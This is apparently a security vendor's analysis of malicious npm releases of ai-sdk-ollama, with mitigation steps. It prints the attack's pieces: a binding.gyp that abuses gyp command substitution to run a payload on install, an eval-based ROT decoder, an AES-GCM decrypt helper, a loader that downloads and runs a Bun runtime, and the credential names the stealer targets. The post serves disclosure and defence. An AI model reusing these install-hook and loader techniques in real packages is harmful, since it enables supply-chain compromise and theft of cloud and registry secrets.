TL;DR
Endor Labs detected four malicious versions of ai-sdk-ollama published to npm inside a single 17-second window. Ai-sdk-ollama is a popular community-maintained npm package that connects Ollama, a widely used tool for running open-source LLMs locally, to the Vercel AI SDK. The package is not affiliated with Ollama or Vercel, but serves as an unofficial bridge between the two. It receives over 120,000 downloads per month.
The library's real code is untouched. The attacker added two files to the published tarball and used npm's native-build behavior to run a payload at install time, before any application code imports the package.
Three things stand out about this incident:
- The trigger is a
binding.gyp, not apostinstall script.npmrunsnode-gyprebuild automatically whenever a package ships abinding.gyp, with no install script declared. The file abuses gyp command substitution to run nodeindex.jsduring install, so most "no lifecycle scripts" checks miss it. - Layered obfuscation with rotating keys. A 4.5MB root
index.jsuses aneval(ROT-n(...))decode-then-execute wrapper that unpacks a self-decrypting AES-128-GCM stage. The ROT key changed between versions published the same minute (shift 15 in 3.8.5, shift 18 in 2.2.1), which is active evasion rather than a build artifact. - A multi-cloud secret stealer with worm potential. The final stage downloads the standalone Bun runtime to run outside Node, then harvests AWS, GCP, Azure, Vault, and Kubernetes credentials, GitHub Actions OIDC tokens, and npm, GitHub, and RubyGems registry tokens. The behavior lines up with the "Mini Shai-Hulud" class of self-replicating supply-chain malware.
Affected versions
Timeline
The publishing pattern is the tell. Legitimate releases were weeks apart, with 3.8.4 shipping on 2026-05-11. The four malicious versions landed within 17 seconds of each other, each one targeting a different major line. The one-per-major trick is the clever part: whatever range you have pinned, the next install pulls a poisoned version.
Technical analysis
The legitimate code is untouched
Comparing 3.8.5 against the clean 3.8.4, the entire dist/ build output is byte-for-byte identical. The declared entry point ("main": "./dist/index.js") is the real, unmodified library. The attacker did not patch the package's code. They bolted a payload onto the side of it. Version 3.8.5 adds exactly two files the clean version does not have:
The install hook (binding.gyp)
There is no preinstall or postinstall script in package.json, only ordinary dev scripts. The execution vector is the binding.gyp. npm treats the presence of a binding.gyp as a signal to run node-gyp rebuild during install, even with no install script. The file weaponizes gyp's command substitution syntax:
{
"targets": [
{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}When gyp evaluates the sources list, it runs node index.js on the host. Output goes to /dev/null to stay quiet, and && echo stub.c returns a fake source filename so gyp does not error. The payload fires on npm install, not on import. No install script, and no visible sign of compromise.
Decode-then-execute (eval and ROT)
The root index.js is one large call that wraps an array of character codes in a Caesar-cipher decoder and then evals the result:
try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){
var b=c<="Z"?65:97;
return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)
})}([/* ~1.3M char codes */], /* shift */))}catch(e){}Decoding the array is a plain string transform and does not require running anything. The decoded result starts with an async block.
Rotating obfuscation keys
The ROT shift is different across versions published in the same window. 3.8.5 decodes with a shift of 15, and 2.2.1 decodes with a shift of 18. We do not see legitimate packages rotate an obfuscation key between point releases minted the same minute. It points to deliberate evasion aimed at static signatures keyed on a single decoded form.
Self-decrypting AES-128-GCM stage
The decoded layer imports node:crypto, defines an AES-128-GCM helper, and decrypts inline blobs whose keys, IVs, and auth tags are embedded in the script:
(async()=>{try{
const _c=await import("node:crypto");
const _d=(k,i,a,c)=>{
const d=_c.createDecipheriv("aes-128-gcm",
Buffer.from(k,"hex"),Buffer.from(i,"hex"),{authTagLength:16});
d.setAuthTag(Buffer.from(a,"hex"));
return Buffer.concat([d.update(Buffer.from(c,"hex")),d.final()]);
};
/* ... decrypt and run stage two ... */Two ciphertext blobs are present: a small loader of roughly 900 bytes and a main payload of about 668KB.
The loader runs the payload under Bun
The smaller blob downloads a standalone Bun runtime and uses it to run the main payload, instead of running it under Node:
const dir = mkdtempSync(join(tmpdir(), "b-"));
const exe = join(dir, os === "windows" ? "bun.exe" : "bun");
const url = "https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-"+os+"-"+a+".zip";
execSync('curl -sSL "'+url+'" -o "'+zip+'"', {stdio:"pipe"});
execSync('unzip -j -o "'+zip+'" -d "'+dir+'"', {stdio:"pipe"});
chmodSync(exe, "755");A Node package has no reason to do that. The usual reason is to get past tooling that only watches Node. The runtime itself is pulled from the real Bun GitHub release URL, so it blends into normal developer traffic and slips past simple blocklists.
Second-stage payload: multi-cloud credential theft
The 668KB main payload is heavily obfuscated, in obfuscator.io style. Its embedded strings show a collector built for specific secrets, including:
- AWS: session tokens, AWS_REGION, EC2 instance metadata (X-aws-ec2-metadata-token), WebIdentityToken
- GCP: GOOGLE_APPLICATION_CREDENTIALS
- Azure: ARM_OIDC_TOKEN_FILE_PATH
- HashiCorp Vault: VAULT_TOKEN, VAULT_AUTH_TOKEN, X-Vault-Token
- GitHub Actions OIDC: ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL, oidcIdentityToken
- Kubernetes: service account tokens
- Secret managers and chat: 1Password, Slack tokens
- Generic: password, credentials, sessionToken, authToken, staticCredentials
These collectors are keyed to the exact token names and paths each platform uses, not a random scrape of environment variables. In CI, that puts deployment keys, cloud role credentials, and pipeline secrets in scope.
Worm capability
The payload also collects npm, GitHub, and RubyGems registry tokens. Combined with the simultaneous back-fill across four major lines, that gives the operator what it needs to republish poisoned packages from any account it compromises, which is the core behavior of a self-propagating worm. No plaintext command-and-control host shows up in the strings. The exfiltration endpoint is built at runtime inside the obfuscated bundle.
Indicators of compromise
Package indicators
File indicators
Network and behavioral indicators
Code markers
Mitigation
If you use ai-sdk-ollama, audit your dependency tree now. Don't install 3.8.5, and treat 0.13.1, 1.1.1, and 2.2.1 as part of the same incident. The current latest tag is 3.8.5, so anyone not pinned to an older version may be affected. The last known clean version is 3.8.4.
Check your exposure
npm ls ai-sdk-ollama
grep -RniE 'ai-sdk-ollama' package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
# Stray binding.gyp or oversized root index.js in the installed package
ls -la node_modules/ai-sdk-ollama/binding.gyp node_modules/ai-sdk-ollama/index.js 2>/dev/null
# Bun runtime staged in a temp directoryfind "${TMPDIR:-/tmp}" -maxdepth 2 -type f -name 'bun*' 2>/dev/null
Pin to the last clean version and check its integrity hash:
npm install ai-sdk-ollama@3.8.4
# sha512-vvhLHo9MrOhDxsxRWfOGqBmQsnbDPKQHqDG5vSYMkdu6q8RPxJIYag001jQIAKA2MO37Nf96gCAPWM+dufvglw==Rotate credentials
On any host or CI runner that installed an affected version, treat these as compromised and rotate them:
- npm, GitHub, and RubyGems registry tokens, and check for unexpected package publishes under your accounts
- AWS access keys and session tokens, and review CloudTrail for unexpected calls and IMDS access
- GCP service account keys and application default credentials
- Azure service principal, managed identity, and OIDC tokens
- HashiCorp Vault and Kubernetes service account tokens
- GitHub Actions OIDC trust relationships
- 1Password and Slack tokens, plus any .env contents the build could read
Harden going forward
- Turn off install scripts and native rebuilds by default.
npm install --ignore-scriptsblocks postinstall, and blocking automatic node-gyp builds closes the binding.gyp vector. - Pin with integrity hashes. A lockfile digest fails the install when a republished version's content does not match, before any code runs.
- Flag oversized or non-entry-point files. A multi-megabyte root index.js that is not the declared main is worth blocking automatically.
- Watch publish cadence and dist-tag moves. Several major lines back-filled within seconds, or latest jumping to a pre-existing minor, is a strong compromise signal, and it is the window in which this was flagged.
- Scope CI permissions tightly. Credential theft only pays off if the secrets are reachable from the build host.
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:











